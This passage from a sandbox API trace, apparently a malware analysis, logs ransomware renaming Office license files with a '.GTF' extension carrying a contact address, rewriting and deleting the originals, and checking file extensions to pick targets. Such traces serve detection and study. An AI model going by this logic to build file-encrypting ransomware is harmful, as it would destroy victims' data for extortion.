	[0173.563] SetEndOfFile (hFile=0x530) returned 1
	[0173.762] CloseHandle (hObject=0x530) returned 1
	[0173.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 1
	[0173.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0173.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0173.766] lstrlenW (lpString=".doc") returned 4
	[0173.766] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.766] lstrlenW (lpString=".docx") returned 5
	[0173.766] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.766] lstrlenW (lpString=".pdf") returned 4
	[0173.766] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.766] lstrlenW (lpString=".xls") returned 4
	[0173.766] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.766] lstrlenW (lpString=".xlsx") returned 5
	[0173.766] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.766] lstrlenW (lpString=".ppt") returned 4
	[0173.767] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0173.767] lstrlenW (lpString=".zip") returned 4
	[0173.767] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.767] lstrlenW (lpString=".rar") returned 4
	[0173.767] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.767] lstrlenW (lpString=".bz2") returned 4
	[0173.767] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.767] lstrlenW (lpString=".7z") returned 3
	[0173.767] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0173.767] lstrlenW (lpString=".dbf") returned 4
	[0173.767] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0173.767] lstrlenW (lpString=".1cd") returned 4
	[0173.782] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0173.782] lstrlenW (lpString=".jpg") returned 4
	[0173.782] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0173.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0173.782] lstrlenW (lpString=".doc") returned 4
	[0173.782] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.783] lstrlenW (lpString=".docx") returned 5
	[0173.783] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.783] lstrlenW (lpString=".pdf") returned 4
	[0173.783] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.783] lstrlenW (lpString=".xls") returned 4
	[0173.783] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.783] lstrlenW (lpString=".xlsx") returned 5
	[0173.783] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.783] lstrlenW (lpString=".ppt") returned 4
	[0173.783] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0173.783] lstrlenW (lpString=".zip") returned 4
	[0173.783] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.783] lstrlenW (lpString=".rar") returned 4
	[0173.783] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.783] lstrlenW (lpString=".bz2") returned 4
	[0173.783] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.783] lstrlenW (lpString=".7z") returned 3
	[0173.783] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0173.783] lstrlenW (lpString=".dbf") returned 4
	[0173.783] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0173.783] lstrlenW (lpString=".1cd") returned 4
	[0173.783] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0173.783] lstrlenW (lpString=".jpg") returned 4
	[0173.783] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.783] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.784] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 45
	[0173.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0173.784] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11669) returned 1
	[0173.784] CloseHandle (hObject=0x530) returned 1
	[0173.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0173.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0173.785] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.785] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0173.786] GetLastError () returned 0x0
	[0173.786] ReadFile (in: hFile=0x530, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d95, lpOverlapped=0x0) returned 1
	[0173.788] WriteFile (in: hFile=0x570, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0173.790] ReadFile (in: hFile=0x530, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.790] WriteFile (in: hFile=0x570, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x12e, lpOverlapped=0x0) returned 1
	[0173.790] SetEndOfFile (hFile=0x570) returned 1
	[0173.790] CloseHandle (hObject=0x570) returned 1
	[0173.790] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.790] SetEndOfFile (hFile=0x530) returned 1
	[0173.794] CloseHandle (hObject=0x530) returned 1
	[0173.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0173.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0173.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0173.795] lstrlenW (lpString=".doc") returned 4
	[0173.795] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.795] lstrlenW (lpString=".docx") returned 5
	[0173.795] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.795] lstrlenW (lpString=".pdf") returned 4
	[0173.795] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.795] lstrlenW (lpString=".xls") returned 4
	[0173.795] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.795] lstrlenW (lpString=".xlsx") returned 5
	[0173.795] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.795] lstrlenW (lpString=".ppt") returned 4
	[0173.795] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0173.795] lstrlenW (lpString=".zip") returned 4
	[0173.795] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.795] lstrlenW (lpString=".rar") returned 4
	[0173.795] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.795] lstrlenW (lpString=".bz2") returned 4
	[0173.795] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.795] lstrlenW (lpString=".7z") returned 3
	[0173.795] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0173.795] lstrlenW (lpString=".dbf") returned 4
	[0173.796] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0173.796] lstrlenW (lpString=".1cd") returned 4
	[0173.796] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0173.796] lstrlenW (lpString=".jpg") returned 4
	[0173.796] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0173.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0173.796] lstrlenW (lpString=".doc") returned 4
	[0173.796] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.796] lstrlenW (lpString=".docx") returned 5
	[0173.796] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.796] lstrlenW (lpString=".pdf") returned 4
	[0173.796] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.796] lstrlenW (lpString=".xls") returned 4
	[0173.796] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.796] lstrlenW (lpString=".xlsx") returned 5
	[0173.796] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.796] lstrlenW (lpString=".ppt") returned 4
	[0173.796] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0173.796] lstrlenW (lpString=".zip") returned 4
	[0173.796] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.796] lstrlenW (lpString=".rar") returned 4
	[0173.796] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.796] lstrlenW (lpString=".bz2") returned 4
	[0173.796] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.796] lstrlenW (lpString=".7z") returned 3
	[0173.796] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0173.796] lstrlenW (lpString=".dbf") returned 4
	[0173.796] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0173.797] lstrlenW (lpString=".1cd") returned 4
	[0173.797] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0173.797] lstrlenW (lpString=".jpg") returned 4
	[0173.797] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.797] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.797] lstrlenW (lpString="HomeStudentR_Grace-ppd.xrm-ms") returned 29
	[0173.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0173.797] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=21546) returned 1
	[0173.798] CloseHandle (hObject=0x530) returned 1
	[0173.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 0x220
	[0173.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0173.798] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.798] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0173.799] GetLastError () returned 0x0
	[0173.799] ReadFile (in: hFile=0x530, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x542a, lpOverlapped=0x0) returned 1
	[0173.801] WriteFile (in: hFile=0x570, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5430, lpOverlapped=0x0) returned 1
	[0173.803] ReadFile (in: hFile=0x530, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.803] WriteFile (in: hFile=0x570, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10e, lpOverlapped=0x0) returned 1
	[0173.803] SetEndOfFile (hFile=0x570) returned 1
	[0173.803] CloseHandle (hObject=0x570) returned 1
	[0173.803] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.803] SetEndOfFile (hFile=0x530) returned 1
	[0173.806] CloseHandle (hObject=0x530) returned 1
	[0173.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 1
	[0173.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0173.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0173.808] lstrlenW (lpString=".doc") returned 4
	[0173.808] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.808] lstrlenW (lpString=".docx") returned 5
	[0173.808] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.808] lstrlenW (lpString=".pdf") returned 4
	[0173.808] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.808] lstrlenW (lpString=".xls") returned 4
	[0173.808] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.808] lstrlenW (lpString=".xlsx") returned 5
	[0173.808] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.808] lstrlenW (lpString=".ppt") returned 4
	[0173.808] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0173.808] lstrlenW (lpString=".zip") returned 4
	[0173.808] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.808] lstrlenW (lpString=".rar") returned 4
	[0173.808] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.808] lstrlenW (lpString=".bz2") returned 4
	[0173.808] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.808] lstrlenW (lpString=".7z") returned 3
	[0173.808] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0173.808] lstrlenW (lpString=".dbf") returned 4
	[0173.808] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0173.809] lstrlenW (lpString=".1cd") returned 4
	[0173.809] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0173.809] lstrlenW (lpString=".jpg") returned 4
	[0173.809] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0173.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0173.809] lstrlenW (lpString=".doc") returned 4
	[0173.809] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.809] lstrlenW (lpString=".docx") returned 5
	[0173.809] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.809] lstrlenW (lpString=".pdf") returned 4
	[0173.809] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.809] lstrlenW (lpString=".xls") returned 4
	[0173.809] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.809] lstrlenW (lpString=".xlsx") returned 5
	[0173.809] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.809] lstrlenW (lpString=".ppt") returned 4
	[0173.809] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0173.809] lstrlenW (lpString=".zip") returned 4
	[0173.809] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.809] lstrlenW (lpString=".rar") returned 4
	[0173.809] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.809] lstrlenW (lpString=".bz2") returned 4
	[0173.809] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.809] lstrlenW (lpString=".7z") returned 3
	[0173.809] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0173.809] lstrlenW (lpString=".dbf") returned 4
	[0173.809] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0173.809] lstrlenW (lpString=".1cd") returned 4
	[0173.813] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0173.813] lstrlenW (lpString=".jpg") returned 4
	[0173.813] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.813] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.813] lstrlenW (lpString="HomeStudentR_Grace-ul-oob.xrm-ms") returned 32
	[0173.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0173.814] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11619) returned 1
	[0173.814] CloseHandle (hObject=0x530) returned 1
	[0173.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 0x220
	[0173.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0173.815] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.815] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
